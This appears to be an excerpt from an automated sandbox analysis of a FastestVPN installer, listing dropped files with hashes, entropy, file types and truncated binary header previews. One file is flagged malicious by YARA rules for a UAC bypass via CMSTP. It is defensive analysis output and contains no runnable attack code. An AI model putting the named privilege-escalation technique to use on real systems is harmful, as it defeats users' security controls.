                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):865416
                                                                                                                    Entropy (8bit):6.558002511161394
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24576:dxRZrLEvOx+pFpQlzLyPkET7c5zaSjLUVaoNkUNBKsEpX:dtUmxmpQFLyPkEixWi
                                                                                                                    MD5:A151697A9F14639BFA2CB3E470CEA355
                                                                                                                    SHA1:FA45D614ABFF2ED9A707E3DFC02F404CFC18A89F
                                                                                                                    SHA-256:4794C710A3E624B1A0D956CFE21EC0433FD85BD2D8EB96ACE3F2B5E5302E225C
                                                                                                                    SHA-512:888CFD3919482BB56A15E23A73C868C277CA925EED122327E3399C23D0D647F07B9CD67CCAE28AFD1048A41710DA50126B38E75D7455F56AA95BBECA42D228BF
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........*.w.K.$.K.$.K.$.3.$.K.$.>.%.K.$.$l$.K.$.>.%.K.$.>.%.K.$.>.%.K.$w>.%.K.$w>.%.K.$. .%.K.$. .%.K.$.K.$.I.$w>.%.K.$w>.%.K.$w>n$.K.$w>.%.K.$Rich.K.$................PE..d.....b.........."...........................@....................................q.....`.........................................Pd..P....d..........8....P...^..................................................`...8............................................text.............................. ..`.rdata..^...........................@..@.data...............................@....pdata...^...P...`..................@..@.rsrc...8...........................@..@.reloc..............................@..B................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-8GI77.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):585512
                                                                                                                    Entropy (8bit):6.002108518534667
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:kavF2w273DAx5at3y6/c1M94lh7NX06qkX/0IT7/5:kAF2w2jE5k3y6/cyinNXy4B7h
                                                                                                                    MD5:2C700BBCDA59BFE2CD7EBF9BAA5B2626
                                                                                                                    SHA1:72EFAA0E8652FB4ADC21E4484E7F63AA968F39D2
                                                                                                                    SHA-256:C9C59AB5B3369B97C85129F160491BD743B68DE1AD41EE6EEBA69009407B54E7
                                                                                                                    SHA-512:0911C7FED9653D9D50BAD7219E45778367DE4B105B5079A8011415F65465B80782A98A503CEBFB309997BCFB2A8620402579456565A24C69A20CBCBD0130DA20
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...........!..............................`n.........................p......L.....@... .........................m).......3...0..@....................@...)........................... .......................................................text...T...........................`.P`.data....-..........................@.`..rdata..............................@.`@.bss....d.............................`..edata..m).......*...t..............@.0@.idata...3.......4..................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc...@....0......................@.0..reloc...)...@...*..................@.0B/4...........p......................@..B/19......l.......n..................@..B/31...../............v..............@..B/45.....|...........................@..B/57..........0......................@.0B/70.....2....@..........

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-99CNN.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):42120
                                                                                                                    Entropy (8bit):6.157445136592099
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:tFRn6+bvfApVjLj1mFU6rrFqyO9K/Yfryu:tFFepV3j1mm6/pO9K/COu
                                                                                                                    MD5:F6AFD5499FCC5D464085AD889BAE09B7
                                                                                                                    SHA1:287C540655FCED0C09DDA2D9C4EADD3F3E210B17
                                                                                                                    SHA-256:6EDA54D746C092A45395399319DFC878E5674C84FAB8147821524A0042C03F47
                                                                                                                    SHA-512:BFD5ED90D0F16A2F0BCC22B0E847D5781A7B11D6912A51CDC8FCAAD80BF191D821418F7544BF52BF6E1AAA47D06A5442601543E9C25B2352D4E23AFC0C4668F9
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kT../5../5../5..&M<.#5..}@..-5..}@..=5..}@..%5..}@..,5..;^..$5../5..p5...@..,5...@P..5...@...5..Rich/5..........PE..d.....b.........."......0...H.......4.........@....................................e.....`.................................................4g..........@............v..........8...P]...............................]..8............@...............................text..../.......0.................. ..`.rdata...3...@...4...4..............@..@.data...H............h..............@....pdata...............j..............@..@.rsrc...@............n..............@..@.reloc..8............t..............@..B................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-BHOGA.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2276496
                                                                                                                    Entropy (8bit):6.2839627604807955
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:sqrGLY4rzqgpJdli4OLz1/SK1ULLnLWdaqTv6akDCbpCX464lnbW148y1PuDT5Wg:sqr0Y4rugpJdli4OLz1/SK1ULLLWdaq8
                                                                                                                    MD5:A928351F9555A07B7A8DCEA6B209D367
                                                                                                                    SHA1:66379948FB082D9EB390B77C4E00EFAD25062C9C
                                                                                                                    SHA-256:8993C69DAA63314019E3D33190140ACAC23704D20AB3BDF946B41969DD23B0A7
                                                                                                                    SHA-512:099DAD1E89474F449EF9EA35CC93C2C8A643AF9108FD38FFB7B748FE93F0A25553B135AC6C6E33EDB8B1AD55687CDF182C6FA3E2D5018110D0500C3E2CA35EEA
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y.p...<.....!.............0................(c.........................@........"...@... .........................A....P..........@.............".....................................p.......................R..h............................text...............................`.p`.data...|d.......f..................@.`..rdata..T............d..............@.`@.bss.........`........................`..edata..A............B..............@.0@.idata.......P......................@.0..CRT....,....`......................@.0..tls.... ....p......................@.0..rsrc...@...........................@.0..reloc.............................@.0B/4...........@......................@..B/19......i...P...j..................@..B/31..................,..............@..B/45..................@..............@..B/57..................R..............@.0B/70.....2............Z..

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-BMT4K.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):93832
                                                                                                                    Entropy (8bit):5.48517352660103
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:kP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGHK/CT:kePOYe4bu1epDh8RWGHK/M
                                                                                                                    MD5:A2ADF4897942B99FE0738F8C37FD15C0
                                                                                                                    SHA1:4192A2221F5C48A16427BF1898C0443CA27A29BB
                                                                                                                    SHA-256:B339B9A93A93B52F3EA0A5F2161E4B16BDA0CA7396D53ECA14C7D7F3E963A3A3
                                                                                                                    SHA-512:DF383B4B70C980C613F3C3EC4E99980DA6DB15F123D617197B644314233D1E2ADEC9F9162D6DBB7B874D885119082E01840102F0976F3CC767A78B5E467EF4A8
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p......r.....@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-FONAV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):89736
                                                                                                                    Entropy (8bit):5.522767465825831
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:3urhT5+KybRpnE8K74kca7NerB8iXpYmRRXvdi82BSOe9oKSJ2SLD0BEZWkAzrF9:w+KY04RMmSCYmBiF4O7WTn8K/CI
                                                                                                                    MD5:2CC3AC572A2170108BABD019F0BFE779
                                                                                                                    SHA1:AF962245CE32D5801A380FF7F6B8C87AC7772AB2
                                                                                                                    SHA-256:755315DFCC9C72CBE4EB33AF34E9AAC0BD1324C6942F4B56AD9FE0135E1A9299
                                                                                                                    SHA-512:891D545DDF35BF8C650FE8EB48A5E5F6F7C50036E42BE893417AF2EF886EB37C5BEEE9DD838A8F020728E4BAE803F2753CC8F6DD7958DD31B5B39DAED7EF464B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L..."..."..."....."......"......"...#.S."....."..`\..."......"......".Rich..".................PE..L...#.pK.................l..........Td.......................................P......0a....@...... ..........................lm..........p............0.......@...... ...............................0...@............................................text... j.......l.................. ..`.data...4............p..............@....rsrc...p............v..............@..@.reloc.......@.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-KHD5M.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):700040
                                                                                                                    Entropy (8bit):5.552155208041958
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:UB4x/cH7gueaxFi00ZoPqETRzRnYhUpfakLaugPoDhTMY98c8mvVfU2lvzpi/O:avziRZoXuugCtD8JmvNU2lvzpiG
                                                                                                                    MD5:6EE5C92E2918B27974086A6F24D79043
                                                                                                                    SHA1:40595B75A513BBF1BE16780784E13EFDAD2E40C7
                                                                                                                    SHA-256:86F3A19221C710CFF12607FEB00D8CD0AF932873430AD1B59C990593010EC3CF
                                                                                                                    SHA-512:F07BBE5D367D6F7474E08507F3827BDCAC5503673F2027CA139303FA573F4EEB7D82A9D88EE0F3291F53629C0644B39E2C81380B45F8E2A286FFCC326AE0E4B7
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............]...]...]..M]...]..\...]...\...]..\...]..\...]..\...]H..\...]...]o..]H..\...]H..\...]H.!]...]H..\...]Rich...]........PE..d...g..b.........." .....:...L......<.....................................................`..........................................+...N..@E..........s........L..............h.......8...........................@...8............0..@............................text....8.......:.................. ..`.rdata...)...P...*...>..............@..@.data...QM.......D...h..............@....pdata...T.......V..................@..@.idata..*W...0...X..................@..@.00cfg..Q............Z..............@..@.rsrc...s............\..............@..@.reloc..]............d..............@..B................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-LGPJJ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):277
                                                                                                                    Entropy (8bit):5.0491979415178765
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:ShdEdI5KGdXrSwCoXV+hn5A59eT5U+hLQsPti5FtEEs6EsctB6WEsF2WEsF+v:6dEKwGxOsw7BB6S2zv
                                                                                                                    MD5:C8768E552ABCA40175C704E4AF1F030C
                                                                                                                    SHA1:7B8A3BC3310EE72006FD2C5A4D5F4FC60171C81B
                                                                                                                    SHA-256:50259EEA13E0A9CB0AC48181F8F4345E6558EE8536CC71D0F6E2F63AE9D89D33
                                                                                                                    SHA-512:09FD06DB34894F1EC79B607217DC70E204793E04C58B846DC495DC915F38C1311AC1EE0D3C5CCDE636D8A3D6CE5631EF7291D3617FB3F900FD072CEA5831B573
                                                                                                                    Malicious:false
                                                                                                                    Preview:OpenVPN STATISTICS..Updated,2023-09-03 07:45:36..TUN/TAP read bytes,1979..TUN/TAP write bytes,9103..TCP/UDP read bytes,15521..TCP/UDP write bytes,5150..Auth read bytes,9103..pre-compress bytes,0..post-compress bytes,0..pre-decompress bytes,204..post-decompress bytes,213..END..

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-PT7JD.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):68744
                                                                                                                    Entropy (8bit):6.03232541602541
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:OhNHth2MbtFwpJgYCV7JToLDkhqQovzeTJdCK/C1:OhHTbtsRCskcQovzeTJdCK/a
                                                                                                                    MD5:41E94A80206A87D947CE6CF5823494BE
                                                                                                                    SHA1:558214579EE8F2732C36F779E545BA1340191E49
                                                                                                                    SHA-256:E4275E6430AE1EC21A5CD0F2FC382998DEBC1E433A66129527C1B69792F09F95
                                                                                                                    SHA-512:54B0DD18BA43C48B3FC21E4366D7D1DC65147A84AFA3DC29D94C4CF80B49FA67150B8303F576683F712E648CAFF516BFEA3A6F93435D6B33DCAB2C43BC762E35
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........z..h...h...h.......h......h......h......h......h......h.......h...h..ih.......h.......h...h...h.......h..Rich.h..........PE..d.....b.........."......r...|.......v.........@.............................@............`.................................................x...T.... .......................0..p...................................@...8............................................text....p.......r.................. ..`.rdata...W.......X...v..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..p....0......................@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-PVDB2.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):99976
                                                                                                                    Entropy (8bit):6.499161413646961
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:yWHL+4KsAzAfadZw+1Hcx8uIYNU5U9H0Q8ecbjt1BHK/CeS:yWr/Z+jPYNV9H0Q8ecbjt1BHK/pS
                                                                                                                    MD5:85054BAF6D0A7D31A18183ACC4CBA133
                                                                                                                    SHA1:24830C002FFAB31102DFB674B52AFFD74E90E708
                                                                                                                    SHA-256:EC86F182F55A338E26F598638F18422E474C6D6C651E1D9955D0303254BF6DDD
                                                                                                                    SHA-512:B6B7D9115ED1D734D7C0EB09E7C7C96EEC29E2C59B8943586976F2182E46B660B99C1947ACF2C1DEB75595771A78B7405FDDBB989A2F06CF88E4AD3D8824055A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d.....`.........." .........`......p................................................>....`A.........................................B..4....J...............p..X....X..............h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-QB0TS.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):244360
                                                                                                                    Entropy (8bit):6.534833630270433
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:lE2PcqwWvsYJlWewlEyDFINgMjY/fVYPCtmA+KiA/R:lE+1JYVEgFugMjXP/A0A/R
                                                                                                                    MD5:92CAE75041DFA888EE8284E7C6BB658E
                                                                                                                    SHA1:2632FD77EAEDC09977192CFAA19EAEE66F538041
                                                                                                                    SHA-256:ACEB2DBBA3948EF0D2908CAE3B2E1586AC82B700C1DE7E6420FA241EFBBB0ECB
                                                                                                                    SHA-512:F01AC04FBD3EA1FD4D39D7654DF7D97EB15D60BC9EDFDF36C92176CF8A66FC148E4ECA480F52B7283AF1B9966983F4275A4E221E2D73056A7F3F4290C4D85C17
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...R."K...........#...8............`..............k................................Ub........ ......................P.. ....p...$...................................................................................................................text...t...........................`.P`.data...0%.......&..................@.`..rdata..x^.......`..................@.`@.bss.........@........................@..edata.. ....P.......*..............@.0@.idata...$...p...&...H..............@.0..reloc...............n..............@.0B........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-QC9L9.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):93832
                                                                                                                    Entropy (8bit):5.485112927422894
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:fP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGkK/CH8:fePOYe4bu1epDh8RWGkK/b
                                                                                                                    MD5:8E7EE7C3876683902475753519681407
                                                                                                                    SHA1:75FACB7F9C59B284F97956E799E57FB0F606C49D
                                                                                                                    SHA-256:6D5041A8EF796C66BA151D8FCFAFDD96BCAA99B57D2777897FD25A87A5E41E13
                                                                                                                    SHA-512:523EBF3A4DF9F6D299E72079DEF0A0DA9127601796D9AA613B70AD2F66EE2166F4F8F75083F47E67FFFD892A09FA437F3B12BD1B27065200E90F8617E3E83727
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p............@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-QHD6A.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):178552
                                                                                                                    Entropy (8bit):6.1636094237053305
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:2h5CDZ37FRuI7hDEjQ777RZ7B7T7N55Fjh/YAWFOEBhzFJEB55jKTrK/T:J3bRn9ZNnB5NfKTW/T
                                                                                                                    MD5:3D0E093C2EA9BE7460BFBAD86E6FBB58
                                                                                                                    SHA1:C36EB5601DF523DE321146CF1853F899921AB519
                                                                                                                    SHA-256:810DD30ED0002E2D71937EA818F77E60B0D385D32CC61D92A466FCB6FDCE5526
                                                                                                                    SHA-512:CF4A35C0FAA30FE2B96F2A04E91AFCF9CD08ADF021031C1CEFEF8E2F4028381FD1DEABA7B744AB2245B60A623715CDE8B7C8C9D7AE52728701D773F4B26367BB
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...........-......#.....L...................`.....l......................................@... .........................H.......................................t...................................................................................text....K.......L..................`.p`.data........`.......P..............@.0..rdata..,....p.......R..............@.`@.bss..................................`..edata..H............f..............@.0@.idata...............v..............@.0..CRT....,............|..............@.0..tls.... ............~..............@.0..reloc..t...........................@.0B........................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-QVG37.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):8184456
                                                                                                                    Entropy (8bit):6.15917051663501
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:98304:AD3K0YyOAYcd0ZLpNu6JmM1W8YcTpOG7ZE78O:ALzUwsFYc9OG7ZE78O
                                                                                                                    MD5:5850A25689FA1B36CD6B76E2E7F6BDB3
                                                                                                                    SHA1:299CEBD4CD448239BF5094DCC0632100287C0B85
                                                                                                                    SHA-256:803870B4FCC1A8C0675EE1D5AA5DEB4132514974CDF0F8F7BA40035377FFDCFA
                                                                                                                    SHA-512:F64A196D0FE937112604D7B0CFE2099928987ECEAA650728C88ECE9BAEF288AF2E4BCDD52D3199D8787290F5071287DAFA5DC6FD44775E52CA1E04237411888F
                                                                                                                    Malicious:true
                                                                                                                    Yara Hits:
                                                                                                                    • Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: C:\Program Files\FastestVPN\Resources\is-QVG37.tmp, Author: Joe Security
                                                                                                                    • Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: C:\Program Files\FastestVPN\Resources\is-QVG37.tmp, Author: ditekSHen
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........].......".......'..........=........@.......................................}...`... ...............................................c.|.... d.t.............|...... c.....................................................`SY.@............................text.....'.......'................. ..`.rdata..PC1...(..D1...'.............@..@.data... ....PY......0Y.............@....idata..|.....c.......\.............@....reloc....... c.......\.............@..B.symtab.......d.......]................B.rsrc...t.... d.......].............@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-R9MSC.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3490952
                                                                                                                    Entropy (8bit):6.105770368598401
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:+VwASO4GIU6injGtlqBGqgOtUyrQ8SFJnofeT5W7aTNP6nZsi61o1CPwDv3uFfJe:xB+btBQQ7UQnZsY1CPwDv3uFfJe
                                                                                                                    MD5:474D774A60BCBDBB326C248D1B86C785
                                                                                                                    SHA1:C8611E2BEA720BB3B8768BB7F347DE04EAB8B00D
                                                                                                                    SHA-256:4FB11C716E57A352D0C40B83F00B73A23B16F4418247AFB0E8CA114C20ED7414
                                                                                                                    SHA-512:D25EFAE915E303AB98F86A3131E5C128BFFB0FEE7317C2F28D7A9C9836186C46FDB64008BE98EBF1B7C97F809AD4A170929583B5B899427C405C90503D3D39E0
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......q.Q.5.?.5.?.5.?.<..'.?.g.>.7.?.g.:.>.?.g.;.=.?.g.<.1.?.!.>.8.?.5.>.?.5.?.+.?...;.N.?...?.4.?.....4.?...=.4.?.Rich5.?.........................PE..d...g..b.........." .....p%...................................................5.......5...`...........................................0..h....4.T.....5.|.....3.......5...... 5..P..T.-.8.............................-.8.............4..............................text....o%......p%................. ..`.rdata........%......t%.............@..@.data....~....2..0...t2.............@....pdata........3.......2.............@..@.idata..T'....4..(...h4.............@..@.00cfg..Q.....5.......4.............@..@.rsrc...|.....5.......4.............@..@.reloc...z... 5..|....4.............@..B................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-SURFG.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):113800
                                                                                                                    Entropy (8bit):6.497871168162335
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:NADrSog8rBPCmGxRmZZlfzaag8fPrZyEOE9toSK/G:qDl9PQTmZ53rZyEOE92L/G
                                                                                                                    MD5:C966B6A5F0143199FF16F8E491E2B44D
                                                                                                                    SHA1:A47ECE66964E5432551E782EC53EBFEA42845256
                                                                                                                    SHA-256:EA7E53C74D1E66FB0363A16DCCB2B893183937BF4A69770EA44D6BCD6C1A15D6
                                                                                                                    SHA-512:54292A35794B0E147BDCDE724D7101FEDD499F5799175545C5E2BB4362D6387B713EBF511EBF25B4D7E41086073E167524C401936623BB3AE8E337E3D5ADE5CF
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........hw...........q......|......|......|......|.....P|.....b............P|.....P|.....P|.....P|.....Rich............PE..d......b.........." ................................................................."....`..........................................p.......}.......................................Y...............................Z..8............................................text............................... ..`.rdata..z...........................@..@.data...(............t..............@....pdata...............v..............@..@.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-TJ0RL.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):27784
                                                                                                                    Entropy (8bit):6.488306745612165
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:YVfdXePAee0fxvSDv2atBymU+DpbGEgivBpnpwK3CrFqa2S0FP27NBYearrDVY:afdXfOvObbU+Nb5RgrFq7rK/YfrDS
                                                                                                                    MD5:41C55E2A9D5D9B23C08E3DC067780DC7
                                                                                                                    SHA1:1FB62C7FCF24F604676896121C1CCAFB628C1BE1
                                                                                                                    SHA-256:D76995DCE5A5A3B0D77ABB438C14504F9825A6BC98676F1BA8D0CC18CEBB0545
                                                                                                                    SHA-512:396E8878BAFCFC0DF994B9AF23176D343230B6F6EE82A71E14EFA56347EF0C63B4D277C029EF9FB3EF69D6F1B8AE73ECF92D8DCEDC9312E0C8BFA86EC0B611D2
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....7X.................6...........T... ...`....@.. ....................................@..................................T..K....`...............>............................................................... ............... ..H............text....4... ...6.................. ..`.rsrc........`.......8..............@..@.reloc...............<..............@..B.................T......H........1..."..........|0..p...........................................6.(.....(....*...0..S............(....o.....s.......o....s.......o......o.........&..o............9.....o.....*.......#..6........../E.......0..E............(....o.....s.......o....s.......o.........&........9.....o.....*.........#../..........!7.......0..M.......~....s......o.....;.....o......#......$@(....o.........&........9.....o.....*...........,7..........4?.......0..M.......~....s......o.....;.....

                                                                                                                    C:\Program Files\FastestVPN\Resources\is-VCK53.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):776328
                                                                                                                    Entropy (8bit):6.92032788063544
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:uQmCy3NeRjkpQmj3oaMtQqjoygfXq3kon9IlbgaOxQdVJJ6j5EBKX8hUk/K:vmCy3VQs9MtLjTgfa3kon9FaOdEukC
                                                                                                                    MD5:6ECA26F16FEB505B1BD0A0A25DA4AEDB
                                                                                                                    SHA1:297A6E0D660FAF9E924B2BE827D9D9DC81E4EB85
                                                                                                                    SHA-256:CD9005B83CAB43E566F287D1BB1A3DE33F2D67AD5013DC5213232A5DC5309BDB
                                                                                                                    SHA-512:78F749E1D591D9AC2C1BB3A47FA7D4099A18303357F990E97D6E531FA50FE2466C8A203504F599C74EE92DFA179CC4AFBC561C60AFD01FA103A3276E79760A46
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........ R.HA<.HA<.HA<.A9..KA<.HA=..A<.'7..@<.'7...A<.'7..|A<.'7...A<.'7..IA<.'7..IA<.'7..IA<.RichHA<.........PE..L.....K.........."!................. ....... .....x................................m.....@..........................I......D...(............................... L..h...8...........................pE..@............................................text............................... ..`.data...|Z... ...N..................@....rsrc................X..............@..@.reloc.. L.......N...\..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\libcrypto-1_1-x64.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3490952
